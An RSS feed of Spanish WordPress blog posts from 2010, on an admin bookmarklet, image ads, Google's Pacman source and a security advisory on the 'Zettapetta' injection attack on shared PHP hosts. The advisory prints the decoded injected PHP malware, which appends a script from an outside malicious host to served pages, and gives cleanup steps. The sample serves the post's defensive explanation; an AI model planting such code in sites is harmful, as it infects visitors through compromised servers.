<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Planeta WordPress &#187; javascript</title>
	<atom:link href="http://planetawordpress.org/tag/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://planetawordpress.org</link>
	<description></description>
	<lastBuildDate>Sun, 05 Sep 2010 22:02:26 +0000</lastBuildDate>
	<generator>http://weblog.mx/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Barra de admin donde quieras</title>
		<link>http://ayudawordpress.com/barra-de-admin-donde-quieras/</link>
		<comments>http://ayudawordpress.com/barra-de-admin-donde-quieras/#comments</comments>
		<pubDate>Wed, 11 Aug 2010 21:30:54 +0000</pubDate>
		<dc:creator>planetawordpress</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[administración]]></category>
		<category><![CDATA[Avanzado]]></category>
		<category><![CDATA[bookmarlet]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[Safari]]></category>
		<category><![CDATA[Wordpress.com]]></category>
		<category><![CDATA[Wordpress.org]]></category>

		<guid isPermaLink="false">http://ayudawordpress.com/?p=8443</guid>
		<description><![CDATA[A falta de una barra al estilo de WordPress.com hay un Javascript en forma de "bookmarlet", WP Toolbar, que, añadido a la barra de favoritos de tu navegador te permite acceder a las funciones habituales de administración de WordPress. Ahora bien, no va a permitirte acceso a nada que no tengas acceso ya, o sea, [...]]]></description>
			<content:encoded><![CDATA[<p>A falta de una barra al estilo de <a href="http://es.wordpress.com">WordPress.com</a> hay <a href="http://iamnotagoodartist.com/other/wordpress-admin-toolbar-bookmarklet/">un Javascript en forma de "bookmarlet"</a>, <strong>WP Toolbar</strong>, que, añadido a la barra de favoritos de tu navegador te permite acceder a las funciones habituales de administración de WordPress.</p>
<p>Ahora bien,<strong> no va a permitirte acceso a nada que no tengas acceso ya</strong>, o sea, que si no tienes un usuario registrado en este blog, aunque veas los enlaces no podrás entrar y hacer todo lo que se muestra, solo aquello a lo que habitualmente tengas permiso como usuario registrado, valga la aclaración para que no te lleves a engaño, que esto no es un atajo para entrar en cualquier WordPress.</p>
<p>Lo que si <strong>ofrece es una serie de iconos</strong>, una vez hecho clic en el bookmarlet, desde los que <strong>acceder a las secciones de administración habituales en tus WordPress</strong>, mientras los visitas, no desde otra web que visites. Digamos que, por ejemplo, estás leyendo una entrada de tu blog y te das cuenta de que querías modificar algo del tema, pues no hace falta que teclees la dirección para acceder al escritorio, solo haces clic en el bookmarlet y eliges la opción adecuada, así de fácil.</p>
<p><a href="http://ayudawordpress.com/wp-content/uploads/2010/08/captura-2010-08-11-a-las-23.22.22.png" title="captura 2010-08-11 a las 23.22.22" rel="lightbox[8443]"><img src="http://ayudawordpress.com/wp-content/uploads/2010/08/captura-2010-08-11-a-las-23.22.22-500x312.png" alt="" title="captura 2010-08-11 a las 23.22.22" width="500" height="312" class="aligncenter size-medium wp-image-8444" /></a></p>
<p>Además, para los que no gusten de usar bookmarlets también hay <a href="http://translate.google.com/translate?hl=en&#038;sl=de&#038;tl=es&#038;u=http%3A%2F%2Fwww.kulturbolschewismus.de%2F2010%2F03%2F03%2Fwordpress-admin-toolbar%2F">una extensión de GreaseMonkey</a>, instalable en Firefox por ejemplo, e incluso una <a href="http://www.semimagic.com/blog/2010/6/19/wp-toolbar-safari-extension.html">extensión para el navegador Safari</a>. Por opciones que no quede.</p>
<!-- PHP 4.x --><p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http://ayudawordpress.com/barra-de-admin-donde-quieras/&amp;layout=standard&amp;show_faces=true&amp;width=260&amp;action=like&amp;colorscheme=light' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:260px; height:26px'></iframe></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AyudaWordpress?a=i2_olW6Id74:3D9HWi0RP38:Dsqc8YHEA1Y"><img src="http://feeds.feedburner.com/~ff/AyudaWordpress?i=i2_olW6Id74:3D9HWi0RP38:Dsqc8YHEA1Y" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AyudaWordpress/~4/i2_olW6Id74" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ayudawordpress.com/barra-de-admin-donde-quieras/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rentabilizar con publicidad las imágenes de tu web</title>
		<link>http://carrero.es/rentabilizar-con-publicidad-las-imagenes-de-tu-web/4868</link>
		<comments>http://carrero.es/rentabilizar-con-publicidad-las-imagenes-de-tu-web/4868#comments</comments>
		<pubDate>Tue, 08 Jun 2010 06:30:38 +0000</pubDate>
		<dc:creator>planetawordpress</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Adsense]]></category>
		<category><![CDATA[anuncios]]></category>
		<category><![CDATA[imágenes]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[posicionamiento]]></category>
		<category><![CDATA[publicidad]]></category>
		<category><![CDATA[sitios web]]></category>

		<guid isPermaLink="false">http://carrero.es/?p=4868</guid>
		<description><![CDATA[Image Space Media (ISM) (antes Picadmedia) es un servicio que te ayuda a sacar una rentabilidad económica de tus imágenes. El proceso es sencillo una vez dado de alta en su plataforma e insertado su código javascript en el código fuente de tu sitio web, el servicio de ISM insertará anuncios en todas las imágenes [...]pOriginal Post / Entrada Original: a href="http://carrero.es"Carrero.es/a. Si quieres a href="http://juegosweb.com"Juegos Gratis/a disfruta aquiacute; o a href="http://decoracion2.com"decora tu casa/a.br/br/a href="http://carrero.es/rentabilizar-con-publicidad-las-imagenes-de-tu-web/4868"Rentabilizar con publicidad las imágenes de tu web/a/p]]></description>
			<content:encoded><![CDATA[
<p><a href="http://feedads.g.doubleclick.net/~a/c-WX0_sUB4SNgYCzn2LlNtIUWh0/0/da"><img src="http://feedads.g.doubleclick.net/~a/c-WX0_sUB4SNgYCzn2LlNtIUWh0/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/c-WX0_sUB4SNgYCzn2LlNtIUWh0/1/da"><img src="http://feedads.g.doubleclick.net/~a/c-WX0_sUB4SNgYCzn2LlNtIUWh0/1/di" border="0" ismap="true"></img></a></p><p><strong><a href="http://carrero.es/ism">Image Space Media</a> (<a href="http://carrero.es/ism">ISM</a>)</strong> (antes Picadmedia) es un servicio que te ayuda a sacar una rentabilidad económica de tus imágenes. El proceso es sencillo una vez dado de alta en su plataforma e insertado su <a href="http://programacion.com/javascript">código javascript</a> en el código fuente de tu sitio web, el servicio de ISM insertará anuncios en todas las imágenes de tu página.</p>
<p><img class="aligncenter size-medium wp-image-4869" title="ism" src="http://carrero.es/wp-content/uploads/2010/06/ism-470x216.gif" alt="ism 470x216 Rentabilizar con publicidad las imágenes de tu web" width="470" height="216" /></p>
<p>La idea es original y realmente sencilla y podría ayudar a tener ingresos adicionales a la publicidad típica de agencias o Adsense. Después de estar probando desde el 18 de febrero de 2010 este servicio creo que los ingresos reportados no compensan contra los problemas de <a href="http://posicionamiento.net">posicionamiento</a> que parece provocar en las imágenes. Han sido casi 4 meses de pruebas donde hemos generado casi 2 millones de impresiones de anuncios, cerca de 7.500 clics sobre más de 15.000 imágenes indexadas en el sistema ISM. Casi 320 dólares en este tiempo y la <strong>supuesta perdida de posicionamiento en todas las imágenes</strong> en google, al menos <a href="http://decoracion2.com">Decoración 2.0</a> dejo de indexar imágenes y en el caso de <a href="http://amor.net">Amor</a> desaparecieron todas, fue quitar <a href="http://carrero.es/ism">ISM</a> el sábado pasado y volver a indexar todas las imágenes. No se si es casualidad, pero puede ser que a Google no le guste que pongamos publicidad en las imágenes.</p>
<p>Por último destacar que el ratio de clic es realmente interesante desde el 0,25% hasta el 0,55% algunos días. Ahora la decisión de <a href="http://carrero.es/ism">probar o activar este servicio</a> es tuya, aquí tiene mi experiencia que es positiva, pero ante la posible perdida de posicionamiento he terminado por de momento eliminarlo.</p>
<p>Original Post / Entrada Original: <a href="http://carrero.es">Carrero.es</a>. Si quieres <a href="http://juegosweb.com">Juegos Gratis</a> disfruta aqu&iacute; o <a href="http://decoracion2.com">decora tu casa</a>.<br/><br/><a href="http://carrero.es/rentabilizar-con-publicidad-las-imagenes-de-tu-web/4868">Rentabilizar con publicidad las imágenes de tu web</a></p>
<img src="http://feeds.feedburner.com/~r/carrero/~4/2VoaIprWKgE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://carrero.es/rentabilizar-con-publicidad-las-imagenes-de-tu-web/4868/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Descargar gratis el comecocos de Google</title>
		<link>http://carrero.es/descargar-gratis-el-comecocos-de-google/4825</link>
		<comments>http://carrero.es/descargar-gratis-el-comecocos-de-google/4825#comments</comments>
		<pubDate>Mon, 24 May 2010 06:57:50 +0000</pubDate>
		<dc:creator>planetawordpress</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[comecocos]]></category>
		<category><![CDATA[empresas]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[juegos]]></category>
		<category><![CDATA[pacman]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[sitios web]]></category>

		<guid isPermaLink="false">http://carrero.es/?p=4825</guid>
		<description><![CDATA[Estos días se ha celebrado el 30 aniversario del Pacman o comecocos, un popular juego que sin duda marco una época. Google como ya es habitual nos sorprendió con un logotipo adaptado a Pacman y que a la vez era el juego en javascript para jugar en su propia web.
Ahora por petición popular el juego [...]pOriginal Post / Entrada Original: a href="http://carrero.es"Carrero.es/a. Si quieres a href="http://juegosweb.com"Juegos Gratis/a disfruta aquiacute; o a href="http://decoracion2.com"decora tu casa/a.br/br/a href="http://carrero.es/descargar-gratis-el-comecocos-de-google/4825"Descargar gratis el comecocos de Google/a/p]]></description>
			<content:encoded><![CDATA[
<p><a href="http://feedads.g.doubleclick.net/~a/6nCxsToH89ukzMnyqjkbUnP9L6c/0/da"><img src="http://feedads.g.doubleclick.net/~a/6nCxsToH89ukzMnyqjkbUnP9L6c/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/6nCxsToH89ukzMnyqjkbUnP9L6c/1/da"><img src="http://feedads.g.doubleclick.net/~a/6nCxsToH89ukzMnyqjkbUnP9L6c/1/di" border="0" ismap="true"></img></a></p><p><img class="aligncenter size-medium wp-image-4827" title="comecocos pacman google" src="http://carrero.es/wp-content/uploads/2010/05/comecocos-pacman-google-470x148.png" alt="comecocos pacman google 470x148 Descargar gratis el comecocos de Google" width="470" height="148" /></p>
<p>Estos días se ha celebrado el <strong>30 aniversario del Pacman o comecocos</strong>, un popular juego que sin duda marco una época. Google como ya es habitual nos sorprendió con un logotipo adaptado a Pacman y que a la vez era el juego en <a href="http://programacion.com">javascript</a> para jugar en su propia web.</p>
<p>Ahora por petición popular el juego estará dispone de forma permanente siempre en <a href="http://www.google.com/pacman">http://www.google.com/pacman</a>.</p>
<p>Pero además Google también quiere que juguemos con su juegos y hagamos lo que nos plazca con el código del mismo, para ellos ha puesto a nuestra disposición el código fuente del <a href="http://www.juegosweb.com">juego</a> en github y podéis descargarlo <a href="http://github.com/macek/google_pacman">aquí</a>. También os dejamos una copia en nuestra web por si os falla la descarga.</p>
<p><a href="http://macek.github.com/google_pacman/">Jugar online</a> en la edición con código fuente.<br />
<a href="http://carrero.es/wp-content/uploads/2010/05/macek-google_pacman_comecocos.zip">Descargar código fuente de Comecocos gratis</a>.<br />
vía: <a href="http://mashable.com/2010/05/23/download-google-pacman/">mashable</a></p>
<p>Original Post / Entrada Original: <a href="http://carrero.es">Carrero.es</a>. Si quieres <a href="http://juegosweb.com">Juegos Gratis</a> disfruta aqu&iacute; o <a href="http://decoracion2.com">decora tu casa</a>.<br/><br/><a href="http://carrero.es/descargar-gratis-el-comecocos-de-google/4825">Descargar gratis el comecocos de Google</a></p>
<img src="http://feeds.feedburner.com/~r/carrero/~4/_tzabrtc-SA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://carrero.es/descargar-gratis-el-comecocos-de-google/4825/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zettapetta: Nuevo ataque a servidores compartidos</title>
		<link>http://feedproxy.google.com/~r/AyudaWordpress/~3/Oj1D0BMqkXM/</link>
		<comments>http://feedproxy.google.com/~r/AyudaWordpress/~3/Oj1D0BMqkXM/#comments</comments>
		<pubDate>Thu, 13 May 2010 15:21:04 +0000</pubDate>
		<dc:creator>planetawordpress</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[base64]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[código]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[mediatemple]]></category>
		<category><![CDATA[Safari]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[Tutoriales / Trucos]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[Wordpress.org]]></category>

		<guid isPermaLink="false">http://ayudawordpress.com/?p=7880</guid>
		<description><![CDATA[
Desde hace unos días hay nuevas noticias de ataques a sitios que estén basados en PHP, como lo está WordPress, y hoy ya puedo dar indicaciones algo claras al respecto, perdonad el retraso no obstante.
Lo primero a aclarar es que no es un ataque masivo a WordPress, sino que esta inyección de código afecta a [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://ayudawordpress.com/wp-content/uploads/2010/05/malware.jpg" alt="" title="malware" width="430" height="307" class="aligncenter size-full wp-image-7881" /></p>
<p>Desde hace unos días hay <a href="http://ayudawordpress.com/inyeccion-de-codigo-en-wordpress-2-9-2/">nuevas noticias de ataques a sitios que estén basados en PHP</a>, como lo está WordPress, y hoy ya puedo dar indicaciones algo claras al respecto, perdonad el retraso no obstante.</p>
<p>Lo primero a aclarar es que <a href="http://www.opensecurity.es/ataque-masivo-contra-wordpress/">no es un ataque masivo a WordPress</a>, sino que esta inyección de código <strong>afecta a cualquier web basada en PHP</strong> y, a día de hoy, el otro dato relevante es que además compartan servidor, no está pasando en servidores dedicados. De hecho, si fuera un ataque masivo a WordPress habría muchos más sitios infectados, dado la enorme implantación que a día de hoy (gracias a vosotros) tiene este CMS.<br />
<span id="more-7880"></span></p>
<p>Esto nos hace pensar en dos posibles causas, una segura. La primera es que el atacante utiliza vulnerabilidades de seguridad del servidor en el que está alojado y que comparte con otros sitios, y la segunda que algo está permitiendo que el código se inyecte en los ficheros PHP de los sitios atacados, ya sea un plugin mal diseñado, una mala configuración de seguridad del CMS utilizado. No obstante yo apuesto por la primera opción porque el Zettapetta este ha infectado sitios estáticos en donde había  un par de ficheros PHP sueltos y, como ya he dicho, si fuera algo especial para WordPress estaríamos todos infectados, o casi, y no es así.</p>
<p>Este caso es especialito, porque incluso hay un vídeo en el que el supuesto causante explica como inyectar código en servidores compartidos de Networks Solutions ¡sin tener que robar nombres de usuario y/o contraseñas!</p>
<p><object width="500" height="306"><param name="movie" value="http://www.youtube.com/v/nabz7t65eUM&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/nabz7t65eUM&#038;fs=1" type="application/x-shockwave-flash" width="500" height="306" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Afortunadamente hay solución.</p>
<p>Los atacantes están infectando las webs con un script que trata de inyectar software malicioso a los sitios "cliente" y,  además, evita que los mecánismos anti-malware que incluyen los modernos navegadores como Firefox y Safari puedan detectarlo.</p>
<p>El script <a href="http://wordpress.org/support/topic/396524">afecta a cualquier servidor compartido</a>, y ya se han comprobado ataques en varios proveedores de hosting de primer nivel, como Mediatemple.</p>
<p>En los sitios atacados se insertaba este javascript:</p>
<blockquote><p>http://www.indesignstudioinfo.com/ls.php</p>
<p>http://zettapetta.com/js.php</p></blockquote>
<p>Y lo que hace el <strong>Zettapetta</strong> este de las narices es añadir un montón de <strong>código en base64</strong> al principio de todos los ficheros PHP que se encontrara en el servidor, recursivamente. Vamos, que si entra en tu WordPress <strong>infecta todos los ficheros 'core', los de los plugins, los temas, todo, hasta el wp-config.php</strong> y los index.php habitualmente vacíos.</p>
<p>Una vez descodificado el base64 lo que contiene es esto:</p>
<div class="igBar"><span id="lphp-10"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/Oj1D0BMqkXM/#" onclick="javascript:showCodeTxt('php-10'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-10">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color:#000066;">function_exists</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'ob_start'</span><span style="color:#006600; font-weight:bold;">&#41;</span>&amp;&amp;!<a href="http://www.php.net/isset"><span style="color:#000066;">isset</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$GLOBALS</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'mr_no'</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#0000FF;">$GLOBALS</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'mr_no'</span><span style="color:#006600; font-weight:bold;">&#93;</span>=<span style="color:#CC66CC;color:#800000;">1</span>; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span>!<a href="http://www.php.net/function_exists"><span style="color:#000066;">function_exists</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'mrobh'</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span>!<a href="http://www.php.net/function_exists"><span style="color:#000066;">function_exists</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'gml'</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#000000; font-weight:bold;">function</span> gml<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#616100;">if</span> <span style="color:#006600; font-weight:bold;">&#40;</span>!<a href="http://www.php.net/stristr"><span style="color:#000066;">stristr</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$_SERVER</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">"HTTP_USER_AGENT"</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#FF0000;">"googlebot"</span><span style="color:#006600; font-weight:bold;">&#41;</span>&amp;&amp; <span style="color:#006600; font-weight:bold;">&#40;</span>!<a href="http://www.php.net/stristr"><span style="color:#000066;">stristr</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$_SERVER</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">"HTTP_USER_AGENT"</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#FF0000;">"yahoo"</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#616100;">return</span> <a href="http://www.php.net/base64_decode"><span style="color:#000066;">base64_decode</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">"&lt;script src="</span>http:<span style="color:#FF9933; font-style:italic;">//indesignstudioinfo.com/ls.php&quot;&gt;&lt;/script&gt;&quot;); } return &quot;&quot;; } } if(!function_exists('gzdecode')){ function gzdecode(&lt;script src=&quot;http://indesignstudioinfo.com/ls.php&quot;&gt;&lt;/script&gt;){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&amp;4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&amp;8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&amp;16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&amp;2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\&lt;\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\&lt;\/body[^\&gt;]*\&gt;)/si',gml().&quot;\n&quot;.'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); } } </span></div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>El bicho tiene tela así que a limpiar se ha dicho … </p>
<p>Lo primero es probar el hack que han elaborado <a href="http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html">en Securi.net</a>. Descargas este archivo a tu escritorio:<br />
<a href="http://sucuri.net/malware/helpers/wordpress-fix_php.txt">http://sucuri.net/malware/helpers/wordpress-fix_php.txt</a> y lo renombras a <strong>wordpress-fix.php</strong></p>
<p>Una vez hecho esto lo subes a tu sitio por FTP y lo ejecutas desde el navegador. O sea: http://miweb.com/wordpress-fix.php</p>
<p>El script tarda unos minutos en completarse ya que escanea todo tu sitio y quita las entradas de malware, recursivamente también. </p>
<p>Cuando termine puedes borrar el archivo y, a continuación, para asegurar que dejas todo limpio, seguir estas indicaciones, las de siempre:</p>
<ul>
<li>Exporta todo tu contenido mediante la utilidad de exportación de WordPress y guarda la carpeta wp-content así como cualquier otra que utilices de modo manual. Revisa tu tema, plugins y carpetas de uploads, etc, antes de darlos por seguros.</li>
<li>Revisa el fichero wp-config.php para eliminar cualquier posible inyección de código, cambia los permisos a 644 o, mucho mejor, carga un wp-config.php totalmente limpio.</li>
<li>Cambia todas las contraseñas: ftp, base de datos. Usa contraseñas fuertes, usando caracteres alfanuméricos y símbolos</li>
<li>Como el problema afecta a la base de datos hay que descartarla. Borra la actual y crea una nueva o, en su defecto, revisa cada una de las tablas</li>
<li>Borra todo el contenido de la instalación actual de WordPress (recuerda que antes has hecho backup)</li>
<li>Instala un WordPress limpio (última versión), usando la información de la nueva base de datos recién creada</li>
<li>Carga tu carpeta wp-content de nuevo, una vez comprobado que todo está limpio</li>
<li>Importa los posts de tu sitio que exportaste con la utilidad de importación de WordPress</li>
<li>Configura tu WordPress de manera segura siguiendo las instrucciones de los enlaces facilitados</li>
</ul>
<p><strong>¡Que el backup te acompañe!</strong><br />
<h3><font color="#000080">Contenido exclusivo para suscriptores al Feed</font></h3>
<p><font color="#808080">¡Gracias por seguirnos a diario!. Premiamos tu fidelidad ofreciéndote habitualmente contenidos exclusivos. Hoy puedes descargar:</font></p>
<p><a href="http://ayudawordpress.com/downloads/?did=108" title="Clic aquí para iniciar la descarga"><img src="http://ayudawordpress.com/wp-content/uploads/2008/01/wp-install.jpg" alt="Clic aquí para iniciar la descarga" align="middle" border="0" height="59" width="43" /> Guía para Administrar Wordpress</a></p>



¿Te gustó este post? ¡Compártelo!


	<a rel="nofollow"  href="http://bitacoras.com/anotaciones/http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F" title="Bitacoras.com"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/bitacoras.png" title="Bitacoras.com" alt="Bitacoras.com" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://twitter.com/home?status=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F" title="TwitThis"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/twitter.png" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F&amp;t=Zettapetta%3A%20Nuevo%20ataque%20a%20servidores%20compartidos" title="Facebook"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://meneame.net/submit.php?url=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F" title="Meneame"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/meneame.png" title="Meneame" alt="Meneame" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F&amp;title=Zettapetta%3A%20Nuevo%20ataque%20a%20servidores%20compartidos&amp;annotation=%0D%0A%0D%0ADesde%20hace%20unos%20d%C3%ADas%20hay%20nuevas%20noticias%20de%20ataques%20a%20sitios%20que%20est%C3%A9n%20basados%20en%20PHP%2C%20como%20lo%20est%C3%A1%20WordPress%2C%20y%20hoy%20ya%20puedo%20dar%20indicaciones%20algo%20claras%20al%20respecto%2C%20perdonad%20el%20retraso%20no%20obstante.%0D%0A%0D%0ALo%20primero%20a%20aclarar%20es%20que%20no%20es%20un%20at" title="Google Bookmarks"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F&amp;title=Zettapetta%3A%20Nuevo%20ataque%20a%20servidores%20compartidos&amp;notes=%0D%0A%0D%0ADesde%20hace%20unos%20d%C3%ADas%20hay%20nuevas%20noticias%20de%20ataques%20a%20sitios%20que%20est%C3%A9n%20basados%20en%20PHP%2C%20como%20lo%20est%C3%A1%20WordPress%2C%20y%20hoy%20ya%20puedo%20dar%20indicaciones%20algo%20claras%20al%20respecto%2C%20perdonad%20el%20retraso%20no%20obstante.%0D%0A%0D%0ALo%20primero%20a%20aclarar%20es%20que%20no%20es%20un%20at" title="del.icio.us"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F&amp;title=Zettapetta%3A%20Nuevo%20ataque%20a%20servidores%20compartidos" title="Live"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://technorati.com/faves?add=http%3A%2F%2Fayudawordpress.com%2Fzettapetta-nuevo-ataque-a-servidores-compartidos%2F" title="Technorati"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a>
